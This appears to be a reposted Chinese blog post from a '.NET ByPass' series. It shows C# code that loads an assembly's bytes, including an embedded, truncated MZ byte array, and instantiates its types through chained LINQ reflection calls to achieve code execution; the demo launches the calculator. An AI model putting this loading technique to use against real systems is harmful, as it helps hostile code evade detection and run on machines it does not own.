.NET ByPass系列 Shell加载字节码
原文出自这里
笔者加载位于当前执行程序所在目录下的 "net-calc.dll" 文件的字节码内容,内容很简单启动一个新进程弹出计算器,并将其存储在 assemblyBytes变量,代码如下
byte[] assemblyBytes = File.ReadAllBytes(Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "net-calc.dll"));
List<byte[]> data = new List<byte[]>();
data.Add(this.assemblyBytes);
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable> map_type = (Func<Assembly, IEnumerable>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance).ToList();
然后使用LINQ-SelectMany操作符合并两个序列后产生一个新的序列结果,通过LINQ这个能力可以联合Aseembly.Load和Aseembly::GetTypes,再借用LINQ-Select操作符投影Activator.CreateInstance反射创建一个Aseembly对象,这样就可以实现命令执行
![|553x287](file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml17460\wps2.jpg)
实际场景下这种加载外部文件的方式不太友好,我们知道Assembly.Load有多个重载方法,其中有一个重载支持byte[]类型的参数,如此我们可以通过System.IO.File.ReadAllBytes方法读取文件字节码
byte[] assemblyBytes = {0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8 .......... }
运行时如下图
![|553x412](file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml17460\wps3.jpg)
不能上传附件,工具无法传上来